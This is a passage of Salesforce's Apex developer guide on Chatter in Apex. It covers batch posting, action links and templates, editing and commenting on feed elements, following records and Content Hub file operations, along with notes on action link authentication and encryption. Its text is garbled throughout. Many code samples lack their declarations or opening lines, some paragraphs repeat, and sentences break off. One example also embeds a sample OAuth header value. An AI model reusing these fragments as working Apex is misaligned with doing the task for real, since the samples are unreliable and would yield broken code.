ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}

Important: In version 36.0 and later, you can’t post a batch of feed elements with new files in the same call. Upload files to
Salesforce first, and then specify existing files when posting a batch of feed elements.
This trigger calls postFeedElementBatch(communityId, feedElements) to bulk post to the feeds of newly inserted
accounts. Each post has a new file (binary) attachment.
trigger postFeedItemToAccountWithBinary on Account (after insert) {



input.body = body;
ConnectApi.ContentCapabilityInput contentInput = new

ConnectApi.ContentCapabilityInput();

302
String text = 'We are words in a file.';

'fileName');
ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input, binInput);
}

This example creates one action link in an action link group, associates the action link group with a feed item, and posts the feed item.
When a user clicks the action link, the action link requests the Chatter REST API resource /chatter/feed-elements, which posts
a feed item to the user’s feed. After the user clicks the action link and it executes successfully, its status changes to successful and the
feed item UI is updated:
303
Refresh the user’s feed to see the new post:
This simple example shows you how to use action links to call a Salesforce resource.
304
Think of an action link as a button on a feed item. Like a button, an action link definition includes a label (labelKey). An action link
group definition also includes other properties like a URL (actionUrl), an HTTP method (method), and an optional request body
(requestBody) and HTTP headers (headers).
When a user clicks this action link, an HTTP POST request is made to a Chatter REST API resource, which posts a feed item to Chatter. The
requestBody property holds the request body for the actionUrl resource, including the text of the new feed item. In this
example, the new feed item includes only text, but it could include other capabilities such as a file attachment, a poll, or even action
links.
Just like radio buttons, action links must be nested in a group. Action links within a group share the properties of the group and are
mutually exclusive (you can click only one action link within a group). Even if you define only one action link, it must be part of an action
link group.
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It saves the action link group ID from that call and associates it with a feed element in a call to
ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement).
To use this code, substitute an OAuth value for your own Salesforce org. Also, verify that the expirationDate is in the future. Look
for the To Do comments in the code.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
ConnectApi.ActionLinkDefinitionInput actionLinkDefinitionInput = new
ConnectApi.ActionLinkDefinitionInput();
ConnectApi.RequestHeaderInput requestHeaderInput1 = new ConnectApi.RequestHeaderInput();
// Create the action link group definition.

actionLinkGroupDefinitionInput.actionLinks = New
List<ConnectApi.ActionLinkDefinitionInput>();
actionLinkGroupDefinitionInput.executionsAllowed =
ConnectApi.ActionLinkExecutionsAllowed.OncePerUser;
actionLinkGroupDefinitionInput.category = ConnectApi.PlatformActionGroupCategory.Primary;
// To Do: Verify that the date is in the future.
// Action link groups are removed from feed elements on the expiration date.
datetime myDate = datetime.newInstance(2016, 3, 1);
actionLinkGroupDefinitionInput.expirationDate = myDate;
// Create the action link definition.

actionLinkDefinitionInput.actionType = ConnectApi.ActionLinkType.Api;
actionLinkDefinitionInput.actionUrl = '/services/data/v33.0/chatter/feed-elements';
actionLinkDefinitionInput.headers = new List<ConnectApi.RequestHeaderInput>();
actionLinkDefinitionInput.labelKey = 'Post';
actionLinkDefinitionInput.method = ConnectApi.HttpRequestMethod.HttpPost;
actionLinkDefinitionInput.requestBody = '{\"subjectId\": \"me\",\"feedElementType\":
\"FeedItem\",\"body\": {\"messageSegments\": [{\"type\": \"Text\",\"text\": \"This is a
test post created via an API action link.\"}]}}';
actionLinkDefinitionInput.requiresConfirmation = true;
// To Do: Substitute an OAuth value for your Salesforce org.

requestHeaderInput1.name = 'Authorization';
requestHeaderInput1.value = 'OAuth
00DD00000007WNP!ARsAQCwoeV0zzAV847FTl4zF.85w.EwsPbUgXR4SAjsp';
actionLinkDefinitionInput.headers.add(requestHeaderInput1);
305
requestHeaderInput2.name = 'Content-Type';
requestHeaderInput2.value = 'application/json';
// Add the action link definition to the action link group definition.
actionLinkGroupDefinitionInput.actionLinks.add(actionLinkDefinitionInput);
// Instantiate the action link group definition.

ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

ConnectApi.AssociatedActionsCapabilityInput associatedActionsCapabilityInput = new
ConnectApi.AssociatedActionsCapabilityInput();
// Set the properties of the feedItemInput object.

// Create the text for the post.

textSegmentInput.text = 'Click to post a feed item.';
// The feedElementCapabilitiesInput object holds the capabilities of the feed item.

// Define an associated actions capability to hold the action link group.
// The action link group ID is returned from the call to create the action link group
definition.
feedElementCapabilitiesInput.associatedActions = associatedActionsCapabilityInput;
associatedActionsCapabilityInput.actionLinkGroupIds = new List<String>();
associatedActionsCapabilityInput.actionLinkGroupIds.add(actionLinkGroupDefinition.id);

Note: If the post fails, check the OAuth ID.

This example creates the same action link and action link group as the example Define an Action Link and Post with a Feed Element,
but this example instantiates the action link group from a template.
306
Step 1: Create the Action Link Templates

1. From Setup, enter Action Link Templates in the Quick Find box, then select Action Link Templates.
2. Use these values in a new Action Link Group Template:
Field Value
Name Doc Example
Developer Name Doc_Example
Category Primary action
Executions Allowed Once per User
3. Use these values in a new Action Link Template:
Field Value
Action Link Group Template Doc Example
Action Type Api
Action URL /services/data/{!Bindings.ApiVersion}/chatter/feed-elements
User Visibility Everyone can see
HTTP Request Body { "subjectId":"{!Bindings.SubjectId}",

"feedElementType":"FeedItem", "body":{ "messageSegments":[
{ "type":"Text", "text":"{!Bindings.Text}" } ] } }
HTTP Headers Content-Type: application/json
Position 0
Label Key Post
HTTP Method POST
4. Go back to the Action Link Group Template and select Published. Click Save.
Step 2: Instantiate the Action Link Group, Associate it with a Feed Item, and Post it
This example calls ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) to create an action link group definition.
It calls ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to associate the action
link group with a feed item and post it.
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Add binding name-value pairs to a map.
307
// The names are defined in the action link template(s) associated with the action link
group template.
// Get them from Setup UI or SOQL.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', 'v33.0');
bindingMap.put('Text', 'This post was created by an API action link.');
bindingMap.put('SubjectId', 'me');
// Create ActionLinkTemplateBindingInput objects from the map elements.

List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {

ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;






// For this feed item, we define an associated actions capability to hold the action link
group.
308
definition.

Edit a Feed Element

This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a feed element.
Feed items are the only type of feed element that can be edited.
String communityId = Network.getNetworkId();
// Get the last feed item created by the context user.

List<FeedItem> feedItems = [SELECT Id FROM FeedItem WHERE CreatedById = :UserInfo.getUserId()
ORDER BY CreatedDate DESC];
if (feedItems.isEmpty()) {
// Return null within anonymous apex.
return null;
}
String feedElementId = feedItems[0].id;
ConnectApi.FeedEntityIsEditable isEditable =
ConnectApi.ChatterFeeds.isFeedElementEditableByMe(communityId, feedElementId);
if (isEditable.isEditableByMe == true){
textSegmentInput.text = 'This is my edited post.';

ConnectApi.FeedElement editedFeedElement =
ConnectApi.ChatterFeeds.updateFeedElement(communityId, feedElementId, feedItemInput);
}

This example calls updateFeedElement(communityId, feedElementId, feedElement) to edit a question title
and post.

309

return null;
}

ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
textSegmentInput.text = 'This is my edited question.';

feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';
}
Like a Feed Element

This example calls likeFeedElement(communityId, feedElementId) to like a feed element.
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null,
'0D5D0000000KuGh');
Bookmark a Feed Element

This example calls updateFeedElementBookmarks(communityId, feedElementId,
isBookmarkedByCurrentUser) to bookmark a feed element.
ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null, '0D5D0000000KuGh', true);
310
Share a Feed Element (prior to Version 39.0)

Important: In API version 39.0 and later, shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId) isn’t supported. See Share a Feed Element (in Version 39.0 and Later).
This example calls shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId) to share a feed item (which is a type of feed element) with a group.

'0D5D0000000KuGh');

This example calls postFeedElement(communityId, feedElement) to share a feed element.
textSegmentInput.text = 'Look at this post I'm sharing.';
ConnectApi.FeedEntityShareCapabilityInput shareInput = new

ConnectApi.FeedEntityShareCapabilityInput();
shareInput.feedEntityId = '0D5R0000000SEbc';
feedElementCapabilitiesInput.feedEntityShare = shareInput;
Post a Comment
This example calls postCommentToFeedElement(communityId, feedElementId, text) to post a plain text
comment to a feed element.
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null,
'0D5D0000000KuGh', 'I agree with the proposal.' );

You can post comments with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use
this example, which calls postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload).

String feedElementId = '0D5D0000000KtW3';
311
ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();

textSegmentInput.text = 'Does anyone in this group have an idea? ';

mentionSegmentInput.id = '005D00000000oOT';
commentInput.body = messageBodyInput;
ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId,

feedElementId, commentInput, null);

To post a comment and attach an existing file (already uploaded to Salesforce) to the comment, create a
ConnectApi.CommentInput object to pass to postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload).

textSegmentInput.text = 'I attached this file from Salesforce Files.';

ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new

ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';
commentInput.capabilities = commentCapabilitiesInput;
ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId,
commentInput, null);
312

To post a comment and upload and attach a new file to the comment, create a ConnectApi.CommentInput object and a
ConnectApi.BinaryInput object to pass to the postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload) method.

textSegmentInput.text = 'Enjoy this new file.';


contentCapabilityInput.title = 'Title';

'fileName');
commentInput, binInput);

You can post rich-text comments with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write
a single line of code, or use this example, which calls postCommentToFeedElement(communityId, feedElementId,
comment, feedElementFileUpload). In this example, the image file is existing content that has already been uploaded to
Salesforce.
String feedElementId = '0D5R0000000SBEr';
String imageId = '069R00000000IgQ';
String mentionedUserId = '005R0000000DiMz';
ConnectApi.CommentInput input = new ConnectApi.CommentInput();

313






ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);

This example calls postCommentToFeedElement(communityId, feedElementId, comment,
feedElementFileUpload) to post a comment with a code block.


314


Edit a Comment
This example calls updateComment(communityId, commentId, comment) to edit a comment.
String commentId;

return null;
}
ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
return null;
}
commentId = commentPage.items[0].id;
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);
textSegmentInput.text = 'This is my edited comment.';

315
ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId,

commentId, commentInput);
}
Follow a Record
This example calls follow(communityId, userId, subjectId) to follow a record.
ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
ConnectApi.ChatterUsers.follow(null, 'me', '001RR000002G4Y0');
SEE ALSO:
Unfollow a Record
Unfollow a Record
When you follow a record such as a user, the call to ConnectApi.ChatterUsers.follow returns a
ConnectApi.Subscription object. To unfollow a record, pass the id property of that object to
deleteSubscription(communityId, subscriptionId).
ConnectApi.Chatter.deleteSubscription(null, '0E8RR0000004CnK0AU');
SEE ALSO:
Follow a Record
Get a Repository
This example calls getRepository(repositoryId) to get a repository.
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository =
ConnectApi.ContentHub.getRepository(repositoryId);
Get Repositories
This example calls getRepositories() to get all repositories and get the first SharePoint online repository found.
final string sharePointOnlineProviderType ='ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection =
ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
for(ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
sharePointOnlineRepository = repository;
break;
}
}
316
Get Allowed Item Types

This example calls getAllowedItemTypes(repositoryId, repositoryFolderId, filter) with a filter
of FilesOnly to get the first ConnectApi.ContentHubItemTypeSummary.id of a file. The context user can create
allowed files in a repository folder in the external system.
final ConnectApi.ContentHubAllowedItemTypeCollection allowedItemTypesColl =
ConnectApi.ContentHub.getAllowedItemTypes(repositoryId, repositoryFolderId,
ConnectApi.ContentHubItemType.FilesOnly);
final List<ConnectApi.ContentHubItemTypeSummary> allowedItemTypes =
allowedItemTypesColl.allowedItemTypes;
string allowedFileItemTypeId = null;
if(allowedItemTypes.size() > 0){
ConnectApi.ContentHubItemTypeSummary allowedItemTypeSummary = allowedItemTypes.get(0);
allowedFileItemTypeId = allowedItemTypeSummary.id;
}
Get Previews
This example calls getPreviews(repositoryId, repositoryFileId) to get all supported preview formats and their
respective URLs and number of renditions. For each supported preview format, we show every rendition URL available.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'document:1-zcA1BaeoQbo2_yNFiHCcK6QJTPmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection =
ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
System.debug(String.format('Preview - URL: \'\'{0}\'\', format: \'\'{1}\'\', nbr of
renditions for this format: {2}', new String[]{ filePreview.url,
filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
}
Get a File Preview

This example calls getFilePreview(repositoryId, repositoryFileId, formatType) with a formatType
of Thumbnail to get the thumbnail format preview along with its respective URL and number of thumbnail renditions. For each
thumbnail format, we show every rendition URL available.
}
}
317
Get Repository Folder Items

This example calls getRepositoryFolderItems(repositoryId, repositoryFolderId) to get the collection of
items in a repository folder. For files, we show the file’s name, size, external URL, and download URL. For folders, we show the folder’s
name, description, and external URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderItemsCollection folderItemsColl =
ConnectApi.ContentHub.getRepositoryFolderItems(gDriveRepositoryId,gDriveFolderId);
final List<ConnectApi.RepositoryFolderItem> folderItems = folderItemsColl.items;
System.debug('Number of items in repository folder: ' + folderItems.size());
for(ConnectApi.RepositoryFolderItem item : folderItems){
ConnectApi.RepositoryFileSummary fileSummary = item.file;
if(fileSummary != null){
System.debug(String.format('File item - name: \'\'{0}\'\', size: {1}, external URL:
\'\'{2}\'\', download URL: \'\'{3}\'\'', new String[]{ fileSummary.name,
String.valueOf(fileSummary.contentSize), fileSummary.externalDocumentUrl,
fileSummary.downloadUrl}));
}else{
ConnectApi.RepositoryFolderSummary folderSummary = item.folder;
System.debug(String.format('Folder item - name: \'\'{0}\'\', description:
\'\'{1}\'\'', new String[]{ folderSummary.name, folderSummary.description}));
}
}
Get a Repository Folder

This example calls getRepositoryFolder(repositoryId, repositoryFolderId) to get a repository folder.
final ConnectApi.RepositoryFolderDetail folder =
ConnectApi.ContentHub.getRepositoryFolder(gDriveRepositoryId, gDriveFolderId);
System.debug(String.format('Folder - name: \'\'{0}\'\', description: \'\'{1}\'\', external
URL: \'\'{2}\'\', folder items URL: \'\'{3}\'\'',
new String[]{ folder.name, folder.description, folder.externalFolderUrl,
folder.folderItemsUrl}));
Get a Repository File Without Permissions Information

This example calls getRepositoryFile(repositoryId, repositoryFileId) to get a repository file without permissions
information.
'file:0B0lTys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
download URL: \'\'{3}\'\'',
new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
318
Get a Repository File with Permissions Information

This example calls getRepositoryFile(repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo) to get a repository file with permissions information.


ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId, true);
download URL: \'\'{3}\'\'', new String[]{ file.name, String.valueOf(file.contentSize),
file.externalDocumentUrl, file.downloadUrl}));
final ConnectApi.ExternalFilePermissionInformation externalFilePermInfo =
file.externalFilePermissionInformation;
//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes =
externalFilePermInfo.externalFilePermissionTypes;
for(ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
System.debug(String.format('Permission type - id: \'\'{0}\'\', label: \'\'{1}\'\'', new
String[]{ permissionType.id, permissionType.label}));
}
//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups =
externalFilePermInfo.repositoryPublicGroups;
for(ConnectApi.RepositoryGroupSummary ggroup : groups){
System.debug(String.format('Group - id: \'\'{0}\'\', name: \'\'{1}\'\', type:
\'\'{2}\'\'', new String[]{ ggroup.id, ggroup.name, ggroup.type.name()}));
}
Create a Repository File Without Content (Metadata Only)

This example calls addRepositoryItem(repositoryId, repositoryFolderId, file) to create a file without
binary content (metadata only) in a repository folder. After the file is created, we show the file’s ID, name, description, external URL, and
download URL.
final ConnectApi.ContentHubItemInput newItem = new ConnectApi.ContentHubItemInput();

newItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
newItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field

final ConnectApi.ContentHubFieldValueInput fieldValueInput = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInput.name = 'name';
fieldValueInput.value = 'new folder item name.txt';
newItem.fields.add(fieldValueInput);
//Metadata: description field

final ConnectApi.ContentHubFieldValueInput fieldValueInputDesc = new
319
fieldValueInputDesc.name = 'description';
fieldValueInputDesc.value = 'It does describe it';
newItem.fields.add(fieldValueInputDesc);
final ConnectApi.RepositoryFolderItem newFolderItem =

ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem);
final ConnectApi.RepositoryFileSummary newFile = newFolderItem.file;
System.debug(String.format('New file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\' \n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'', new String[]{
newFile.id, newFile.name, newFile.description, newFile.externalDocumentUrl,
newFile.downloadUrl}));
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubFieldValueInput
Create a Repository File with Content

This example calls addRepositoryItem(repositoryId, repositoryFolderId, file, fileData) to create
a file with binary content in a repository folder. After the file is created, we show the file’s ID, name, description, external URL, and
download URL.

for creation/update

Final String newFileName = 'new folder item name.txt';
fieldValueInput.value = newFileName;

//Binary content
final Blob newFileBlob = Blob.valueOf('awesome content for brand new file');
final String newFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(newFileBlob,
newFileMimeType, newFileName);
320

ConnectApi.ContentHub.addRepositoryItem(gDriveRepositoryId, gDriveFolderId, newItem,
fileBinaryInput);
SEE ALSO:
ConnectApi.BinaryInput Class
Update a Repository File Without Content (Metadata Only)

This example calls updateRepositoryFile(repositoryId, repositoryFileId, file) to update the metadata
of a file in a repository folder. After the file is updated, we show the file’s ID, name, description, external URL, download URL.
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';
final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();

updatedItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);

final ConnectApi.ContentHubFieldValueInput fieldValueInputNameDesc = new
fieldValueInputNameDesc.name = 'description';
fieldValueInputNameDesc.value = 'that updates the former description';
updatedItem.fields.add(fieldValueInputNameDesc);
final ConnectApi.RepositoryFileDetail updatedFile =

ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\',\n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'', new String[]{
321
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,

updatedFile.downloadUrl}));
SEE ALSO:
Update a Repository File with Content

This example calls updateRepositoryFile(repositoryId, repositoryFileId, file, fileData) to update
the content and metadata of a file in a repository. After the file is updated, we show the file’s ID, name, description, external URL, and
download URL.

for creation/update


//Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);

322

SEE ALSO:
Chatter in Apex Features

This topic describes which classes and methods to use to work with common Chatter in Apex features.
You can also go directly to the ConnectApi Namespace reference content.
IN THIS SECTION:
Working with Action Links
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke
an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body
and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services
into the feed so that users can take action to drive productivity and accelerate innovation.
Working with Feeds and Feed Elements
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded
to include new objects that didn’t entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract
class ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The
subset of properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed
elements are the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.
Accessing ConnectApi Data in Communities and Portals
Most ConnectApi methods work within the context of a single community.
Methods Available to Communities Guest Users
If your community allows access without logging in, guest users have access to many Apex methods. These methods return information
the guest user has access to.

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.
Workflow
This feed item contains one action link group with one visible action link, Join.
323
The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.
Use these methods to work with action links:
ConnectApi Method Task

ActionLinks.createActionLinkGroupDefinition(communityId, Create an action link group definition. To associate an action link
actionLinkGroup) group with a feed element, first create an action link group
ActionLinks.deleteActionLinkGroupDefinition(communityId,
definition. Then post a feed element with an associated actions
actionLinkGroupId)
capability.
ActionLinks.getActionLinkGroupDefinition(communityId,
actionLinkGroupId)
ChatterFeeds.postFeedElement(communityId, Post a feed element with an associated actions capability. Associate

feedElement) up to 10 action link groups with a feed element.
ActionLinks.getActionLink(communityId, Get information about an action link, including state for the context
actionLinkId) user.
ActionLinks.getActionLinkGroup(communityId, Get information about an action link group including state for the
actionLinkGroupId) context user.
ActionLinks.getActionLinkDiagnosticInfo(communityId, Get diagnostic information returned when an action link executes.

actionLinkId) Diagnostic information is given only for users who can access the
action link.
324
ConnectApi Method Task

ChatterFeeds.getFeedElementsFromFeed() Get the feed elements from a specified feed type. If a feed element
has action links associated with it, the action links data is returned
in the feed element’s associated actions capability.
IN THIS SECTION:
Action Links Overview, Authentication, and Security
Learn about Apex action links security, authentication, labels, and errors.
Action Links Use Case
Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce
or third-party API. An action link can also download a file or open a web page. This topic contains an example use case.
Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
SEE ALSO:
Action Links Overview, Authentication, and Security

Learn about Apex action links security, authentication, labels, and errors.
Workflow
This feed item contains one action link group with one visible action link, Join.
325
The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.

Create action link templates in Setup to instantiate action link groups with common properties. You can package templates and distribute
them to other Salesforce orgs.
Specify binding variables in the template and set the values of the variables when you instantiate the action link group. For example,
use a binding variable for the API version number, a user ID, or an OAuth token.
You can also specify context variables in the templates. When a user executes the action link, Salesforce provides values for these variables,
such as who executed the link and in which organization.
To instantiate the action link group, call the ActionLinks.createActionLinkGroupDefinition(communityId,
actionLinkGroup) method. Specify the template ID and the values for any binding variables defined in the template.
See Design Action Link Templates.
Type of Action Links

Specify the action link type in the actionType property when you define an action link.
There are four types of action links:
• Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or
FailedStatus based on the HTTP status code returned by your server.
• ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state until
a third party makes a request to /connect/action-links/actionLinkId to set the status to SuccessfulStatus
or FailedStatus when the asynchronous operation is complete.
• Download—The action link downloads a file from the action URL.
• Ui—The action link takes the user to a web page at the action URL.
Authentication
When you define an action link, specify a URL (actionUrl) and the HTTP headers (headers) required to make a request to that
URL.
If an external resource requires authentication, include the information wherever the resource requires.
If a Salesforce resource requires authentication, you can include OAuth information in the HTTP headers or you can include a bearer
token in the URL.
Salesforce automatically authenticates these resources:
• Relative URLs in templates
• Relative URLs beginning with /services/apexrest when the action link group is instantiated from Apex
Don’t use these resources for sensitive operations.
326
Security
HTTPS
The action URL in an action link must begin with https:// or be a relative URL that matches one of the rules in the Authentication
section.
Encryption
API details are stored with encryption, and obfuscated for clients.
The actionURL, headers, and requestBody data for action links that are not instantiated from a template are encrypted
with the organization’s encryption key. The Action URL, HTTP Headers, and HTTP Request Body for an action link
template are not encrypted. The binding values used when instantiating an action link group from a template are encrypted with
the organization’s encryption key.
Only users with Customize Application user permission can create, edit, delete, and package action link templates in Setup.
Don’t store sensitive information in templates. Use binding variables to add sensitive information when you instantiate the action
link group. After the action link group is instantiated, the values are stored in an encrypted format. See Define Binding Variables.
Connected Apps
When creating action links via a connected app, it's a good idea to use a connected app with a consumer key that never leaves your
control. The connected app is used for server-to-server communication and is not compiled into mobile apps that could be decompiled.
Expiration Date
When you define an action link group, specify an expiration date (expirationDate). After that date, the action links in the group
can’t be executed and disappear from the feed. If your action link group definition includes an OAuth token, set the group’s expiration
date to the same value as the expiration date of the OAuth token.
Action link templates use a slightly different mechanism for excluding a user. See Set the Action Link Group Expiration Time.
Exclude a User or Specify a User
Use the excludeUserId property of the action link definition input to exclude a single user from executing an action.
Use the userId property of the action link definition input to specify the ID of a user who alone can execute the action. If you
don’t specify a userId property or if you pass null, any user can execute the action. You can’t specify both excludeUserId
and userId for an action link
Action link templates use a slightly different mechanism for excluding a user. See Set Who Can See the Action Link.
Read, Modify, or Delete an Action Link Group Definition
There are two views of an action link and an action link group: the definition, and the context user’s view. The definition includes
potentially sensitive information, such as authentication information. The context user’s view is filtered by visibility options and the
values reflect the state of the context user.
Action link group definitions can contain sensitive information (such as OAuth tokens). For this reason, to read, modify, or delete a
definition, the user must have created the definition or have View All Data permission. In addition, in Chatter REST API, the request
must be made via the same connected app that created the definition. In Apex, the call must be made from the same namespace
that created the definition.
Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
327
The context variables are:
Context Variable Description

{!actionLinkId} The ID of the action link the user executed.
{!actionLinkGroupId} The ID of the action link group containing the action link the user
executed.
{!communityId} The ID of the community in which the user executed the action
link. The value for your internal organization is the empty key
"000000000000000000".
{!communityUrl} The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".
{!orgId} The ID of the organization in which the user executed the action
link.
{!userId} The ID of the user that executed the action link.
Versioning
